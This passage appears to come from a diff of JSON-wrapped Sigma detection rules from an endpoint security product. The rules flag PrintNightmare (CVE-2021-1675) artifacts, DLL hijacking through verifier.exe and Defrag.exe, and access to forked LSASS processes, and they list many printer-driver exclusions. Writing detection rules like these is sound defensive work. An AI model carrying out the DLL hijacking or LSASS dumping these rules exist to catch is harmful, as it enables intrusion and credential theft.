'MomUdUi.dll'\n\n    exclusion_zenographics:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ZTAG.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ZGDI.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ZSPOOL.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ZSDDM.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ZJBIG.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ZSDDMUI.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\zSDNT5UI.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\suhp2600.dll'\n        Company:\n            - 'Zs, Inc.'\n            - 'Zenographics, Inc.'\n        Product:\n            - 'Zenographics ZTag'\n            - 'SuperPrint'\n            - 'hp LaserJet 2600 series'\n\n    exclusion_semiconductor:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ZSUXML.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ZSDm1120.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\GChp2600.dll'\n        Company: 'Marvell Semiconductor, Inc.'\n        Product:\n            - 'SuperPrint'\n            - 'Falcon'\n            - 'Marvell Semiconductor SuperPrint'\n\n    exclusion_xerces:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\XERCES-C.DLL'\n        Company: 'Apache Software Foundation'\n        Description: 'Shared Library for Xerces-C Version *' # (Shared Library for Xerces-C Version 1.7.0)\n        OriginalFileName: 'xerces-c_*.dll' # (xerces-c_1_7_0.dll)\n\n    exclusion_riso:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\RC*.DLL' # RC30U.DLL / RC30C.DLL / RC30L.DLL / RC20C.DLL\n        Company: 'RISO KAGAKU CORPORATION'\n        Description: 'RISO KAGAKU CORPORATION : *'\n        OriginalFileName: 'RC???.DLL' # RC30U.DLL / RC30C.DLL / RC30L.DLL\n\n    exclusion_riso_without_infos:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\Risopcfg2.dll'\n        Company: ''\n        Description: ''\n        OriginalFileName: ''\n        InternalName: ''\n\n    exclusion_uiplugin:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\xp3250u.dll'\n        Company: ''\n        Description: 'UI Plug-In DLL'\n        OriginalFileName: ''\n        Product: 'UI Plug-In DLL'\n\n    exclusion_openssl1:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\xlibeay????.dll' # (xlibeay101j.dll)\n        Company: 'The OpenSSL Project, http://www.openssl.org/'\n        Description: 'OpenSSL Shared Library'\n        OriginalFileName: 'libeay32.dll'\n        InternalName: 'libeay32'\n\n    exclusion_openssl2:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\x3encr8K.dll'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\libcrypto-*-x64.dll' # (libcrypto-1_1-x64.dll)\n        Company:\n            - 'The OpenSSL Project, http://www.openssl.org/'\n            - 'The OpenSSL Project, https://www.openssl.org/'\n        Description: 'OpenSSL library'\n        OriginalFileName: 'libcrypto'\n        InternalName: 'libcrypto'\n\n    exclusion_pdfui:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\pdfui64.dll' # (xlibeay101j.dll)\n        InternalName: 'PDF Printer User Interface DLL'\n        Product: 'PDF4U Adobe PDF Creator'\n\n    exclusion_foxit:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\fpmvpr_drv.dll'\n        Company: 'Foxit Corporation'\n        Description: 'Foxit PhantomPDF Printer: Virtual Printer Driver'\n\n    exclusion_oce:\n        # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ocewpdSUI.DLL\n        # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ocewpdpui.DLL\n        # C:\\Windows\\System32\\spool\\drivers\\x64\\3\\ocewpdMUI.DLL\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ocewpd?UI.DLL'\n        Company: 'Océ-Technologies B.V.'\n        Product:\n            - 'Océ WPD'\n            - 'Océ Publisher Printlet'\n\n    exclusion_granite:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ONGui.dll'\n        Company: 'Monotype Imaging Inc.'\n        Product: 'Granite Printer Driver GUI for Windows'\n\n    exclusion_polyergic:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\kuwpd*.dll' # (kuwpdui.dll, kuwpdgdi.dll, kuwpdglx.dll)\n        Company:\n            - 'Polyergic Consulting'\n            - 'Polyergic Consulting for KIP America'\n        Product:\n            - 'IPS Unified Printer Driver'\n            - 'KUWPD'\n\n    exclusion_tskui:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\TSKUI.DLL'\n        Company: 'Monotype Imaging Inc.'\n        OriginalFileName: 'GSUI.DLL'\n\n    exclusion_csjcxui:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\CSJCXUI.DLL'\n        Company: ''\n        OriginalFileName: 'CSJCXUI'\n\n    exclusion_mimosaweb:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\HF2XLFRFR.dll'\n        Company: 'OEM'\n        OriginalFileName: 'FRFR.DLL'\n\n    exclusion_seagull:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\\\??#???-u.d64' # (tt#tec-u.d64, in#ipl-u.d64)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\\\??#???-?.dll' # (in#epl-e.d64)\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\Seagull_V3_*Dispatcher.dll' # (Seagull_V3_PrintDispatcher.dll, Seagull_V3_ConfigDispatcher.dll)\n        Company: 'Seagull Scientific, Inc.'\n\n    exclusion_webex:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\wdlres.dll'\n        Company: 'Cisco WebEx LLC'\n        OriginalFileName: 'wdlres.dll'\n\n    exclusion_citizen:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\cbm*.dll' # (cbm16.dll, cbmuni16.dll)\n        Company: 'CITIZEN SYSTEMS JAPAN'\n\n    exclusion_pdfbean:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\pdf4u64.dll'\n        Company: 'PDF Bean Inc.'\n        OriginalFileName: 'pdf4u64.dll'\n\n    exclusion_dp:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\DPD??????.DLL' # (DPDS620RN.DLL, DPDS620RES.DLL)\n        Description: 'DP-DS??? Printer Driver'\n\n    exclusion_hp_distributed_by_ms:\n        # https://www.virustotal.com/gui/file/71ce3bac24abc2b965158d186a93e0ac52cf89be23f7ae20b6b1c6c0162a18c6\n        # https://www.virustotal.com/gui/file/48cfbfb5ac53c137baaea336e31f29e9d438f4c3eb12088fb156fb13a849e820\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\HPBPRO.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\HPBMINI.DLL'\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\HPZINW12.DLL'\n        Company: ''\n        Description: ''\n        OriginalFileName: ''\n        InternalName: ''\n\n    exclusion_unknowns:\n        ImageLoaded:\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\EAPuir0e.DLL' # 8527c74d8b62ec58a2db3cbf0ebf929caeee4454854a2036ca36271451666cf9\n            - '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\BRUIF13A.DLL' # 36002d2d7b9d42d0c3bcd929d607ca16a7d491c5b0f9e5892028cf5f4d588d3b\n\n    exclusion_sha256:\n        sha256:\n            - 'b43d2bd4d16172048e6b493e051957441c558b5ad893c9fbe27f9834fea16afc'\n            - '24c9544f5c00e0662e52ade8e997169aa51ee5f7a8e447701dec98d6ebe67563'\n            - '7b67db0afa25c0bc31551e60de06ef0badc00e3b5ff64a96d8b3950e69a05b77'\n            - 'b7c013d662ce67aa0905c09ced8599f0a6e962f475bf3cf75eb55ea182ba76e0'\n\n    exclusion_fujitsu:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\FIP*.DLL' # (FIPVEN.DLL, FIPVCMND.DLL, FIPV.DLL, FIPVUI.DLL)\n        Company: 'Fujitsu Isotec Limited'\n        Description: 'FIT Thermal Printer Driver'\n\n    exclusion_xprinter:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\POS80.DLL'\n        Company: 'XINYE'\n        Description: 'XP Thermal Printer Driver'\n\n    exclusion_csprt:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\csprt.dll'\n        OriginalFileName: 'CSPRT.DLL'\n        Description: 'Cassette/Slide Printer UI'\n\n    exclusion_zan:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\zvprt*5.dll' # (zvprtuni5.dll, zvprtui5.dll)\n        OriginalFileName: 'zvprt*'\n        Description: 'zvprt*'\n\n    exclusion_microsoft_without_infos:\n        ImageLoaded: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\ASKOKI01.DLL'\n        Company: ''\n        Description: ''\n        OriginalFileName: ''\n        InternalName: ''\n\n    exclusion_known_companies:\n        Company:\n            - 'BIXOLON Co.,Ltd.'\n            - 'CITIZEN SYSTEMS JAPAN'\n            - 'SEIKO EPSON CORPORATION'\n            - 'RISO KAGAKU CORPORATION.'\n            - 'Windows (R) Codename Longhorn DDK provider'\n            - 'BIXOLON Co., Ltd.'\n            - 'DYMO Corp.'\n            - 'Brady Corporation'\n            - 'EPSON'\n            - 'Flex Systems B.V.'\n            - 'CANON INC.'\n            - 'SHARP'\n            - 'VIPColor'\n            - '\"Seagull Scientific, LLC.\"'\n            - 'GRAVOTECH'\n            - 'Polyergic Consulting'\n            - 'Trotec Laser GmbH'\n            - 'Cembre S.p.A.'\n            - 'Fujitsu Isotect Limited'\n            - 'May Software'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f5a0d71f-1a1b-430d-bdc6-2c661c63b6f9",
+  "rule_name": "Spoolsv Unsigned Print Provider Added",
+  "rule_description": "Detects spoolsv loading an unsigned print provider, potentially indicating CVE-2021-1675 exploitation.\nSpoofsv is the print spooler service, and loading unsigned print providers can be used by attackers to exploit vulnerabilities.\nIt is recommended to restart the print spooler service, review print provider installations, and check for any signs of unauthorized code execution or file modifications associated with this activity.\n",
+  "rule_creation_date": "2021-07-01",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f5bcc588-5876-4367-bd97-d6c7914e8009",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096299Z",
+  "creation_date": "2026-03-23T11:45:34.096301Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096305Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_verifier.yml",
+  "content": "title: DLL Hijacking via verifier.exe\nid: f5bcc588-5876-4367-bd97-d6c7914e8009\ndescription: |\n    Detects potential Windows DLL Hijacking via verifier.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'verifier.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\davclnt.dll'\n            - '\\drprov.dll'\n            - '\\ntlanman.dll'\n            - '\\p9np.dll'\n            - '\\propsys.dll'\n            - '\\windows.storage.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f5bcc588-5876-4367-bd97-d6c7914e8009",
+  "rule_name": "DLL Hijacking via verifier.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via verifier.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f5e3e1e8-5937-4413-a606-893a66c8dbdc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097262Z",
+  "creation_date": "2026-03-23T11:45:34.097264Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097269Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_defrag.yml",
+  "content": "title: DLL Hijacking via Defrag.exe\nid: f5e3e1e8-5937-4413-a606-893a66c8dbdc\ndescription: |\n    Detects potential Windows DLL Hijacking via Defrag.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'Defrag.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\sxshared.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f5e3e1e8-5937-4413-a606-893a66c8dbdc",
+  "rule_name": "DLL Hijacking via Defrag.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via Defrag.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f5f40316-6c92-4983-b686-64dbfc197b4e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072303Z",
+  "creation_date": "2026-03-23T11:45:34.072305Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072309Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/calebstewart/CVE-2021-1675",
+    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675",
+    "https://attack.mitre.org/techniques/T1547/012/"
+  ],
+  "name": "t1547_012_possible_printnightmare_exploit.yml",
+  "content": "title: Possible PrintNightmare Privilege Escalation Exploit\nid: f5f40316-6c92-4983-b686-64dbfc197b4e\ndescription: |\n    Detects exploitation of the PrintNightmare vulnerability (CVE-2021-1675) by the creation of a DLL used in common public PoCs.\n    The Windows Print Spooler service is a critical component present on all Windows systems that manages print queues and is an attractive target for attackers due to its privileged nature.\n    It is recommended to verify the origin of detected suspicious DLL, examine Windows Event logs for Print Spooler activity, and ensure all patches for CVE-2021-1675 are installed.\nreferences:\n    - https://github.com/calebstewart/CVE-2021-1675\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675\n    - https://attack.mitre.org/techniques/T1547/012/\ndate: 2022/09/29\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.persistence\n    - attack.t1547.012\n    - cve.2021-1675\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Exploit.PrintNightmare\n    - classification.Windows.Exploit.CVE-2021-1675\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path: '?:\\Users\\\\*\\AppData\\Local\\Temp\\nightmare.dll'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f5f40316-6c92-4983-b686-64dbfc197b4e",
+  "rule_name": "Possible PrintNightmare Privilege Escalation Exploit",
+  "rule_description": "Detects exploitation of the PrintNightmare vulnerability (CVE-2021-1675) by the creation of a DLL used in common public PoCs.\nThe Windows Print Spooler service is a critical component present on all Windows systems that manages print queues and is an attractive target for attackers due to its privileged nature.\nIt is recommended to verify the origin of detected suspicious DLL, examine Windows Event logs for Print Spooler activity, and ensure all patches for CVE-2021-1675 are installed.\n",
+  "rule_creation_date": "2022-09-29",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1547.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f637a7d1-4033-423f-9039-21c145a13eb2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078116Z",
+  "creation_date": "2026-03-23T11:45:34.078118Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078123Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/D4stiny/ForkPlayground/",
+    "https://billdemirkapi.me/abusing-windows-implementation-of-fork-for-stealthy-memory-operations/",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_lsass_fork_memory_dump.yml",
+  "content": "title: Possible LSASS Forked Process Accessed\nid: f637a7d1-4033-423f-9039-21c145a13eb2\ndescription: |\n    Detects an access to an lsass.exe process that is itself a child of lsass.exe.\n    Adversaries may create a fork of the lsass.exe process and dump its memory instead of accessing the original lsass.exe memory as a way to bypass detection.\n    It is recommended to analyze the source process for malicious behavior, such as accessing both lsass.exe processes or dropping suspicious files to disk.\nreferences:\n    - https://github.com/D4stiny/ForkPlayground/\n    - https://billdemirkapi.me/abusing-windows-implementation-of-fork-for-stealthy-memory-operations/\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2024/02/13\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection:\n        TargetProcessImage|endswith: '\\lsass.exe'\n        TargetProcessParentImage|endswith: '\\lsass.exe'\n\n    filter_wer:\n        ProcessImage:\n            - '?:\\Windows\\System32\\wermgr.exe'\n            - '?:\\Windows\\system32\\WerFault.exe'\n        ProcessSignature : 'Microsoft Windows'\n        ProcessSigned: 'true'\n\n    filter_taskmgr:\n        ProcessImage: '?:\\Windows\\System32\\Taskmgr.exe'\n        ProcessSignature : 'Microsoft Windows'\n        ProcessSigned: 'true'\n\n    filter_lsass:\n        ProcessImage: '?:\\Windows\\System32\\lsass.exe'\n        ProcessSignature : 'Microsoft Windows Publisher'\n        ProcessSigned: 'true'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ProcessSigned: 'true'\n\n    exclusion_ccmexec:\n        ProcessImage: '?:\\Windows\\CCM\\CcmExec.exe'\n        ProcessSignature : 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_defender:\n        ProcessImage: '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n        ProcessSignature :\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_trendmicro:\n        ProcessProcessName:\n            - 'TmCCSF.exe'\n            # C:\\Program Files (x86)\\Trend Micro\\Security Agent\\Ntrtscan.exe\n            - 'Ntrtscan.exe'\n            - 'coreServiceShell.exe' # C:\\Program Files\\Trend Micro\\AMSP\\coreServiceShell.exe\n            - 'TMBMSRV.exe' # C:\\Program Files (x86)\\Trend Micro\\BM\\TMBMSRV.exe\n        ProcessSigned: 'true'\n        ProcessSignature: 'Trend Micro, Inc.'\n\n    exclusion_landesk:\n        ProcessProcessName: 'SoftMon.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n          - 'LANDesk Software, Inc.'\n          - 'Ivanti, Inc.'  # bought by Ivanti\n\n    exclusion_nvidia:\n        ProcessImage: '?:\\Windows\\System32\\DriverStore\\FileRepository\\nvbl.inf_amd64_*\\NVWMI\\nvWmi64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'NVIDIA Corporation'\n\n    exclusion_rdrleakdiag:\n        ProcessCommandLine:\n            - '*\\RdrLeakDiag.exe -p * -h 25 -tp 2 -cleanup -watson -unnamed'\n            - '*\\RdrLeakDiag.exe -p * -h 25 -tp 2 -cleanup -watson -unnamed -wait 240'\n        ProcessParentImage: '?:\\Windows\\System32\\taskhostw.exe'\n\n    exclusion_rhs:\n        ProcessImage: '?:\\Windows\\Cluster\\rhs.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_wmi:\n        ProcessImage: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_svchost_werfault:\n        ProcessCommandLine: '?:\\WINDOWS\\System32\\svchost.exe -k WerSvcGroup'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f637a7d1-4033-423f-9039-21c145a13eb2",
+  "rule_name": "Possible LSASS Forked Process Accessed",
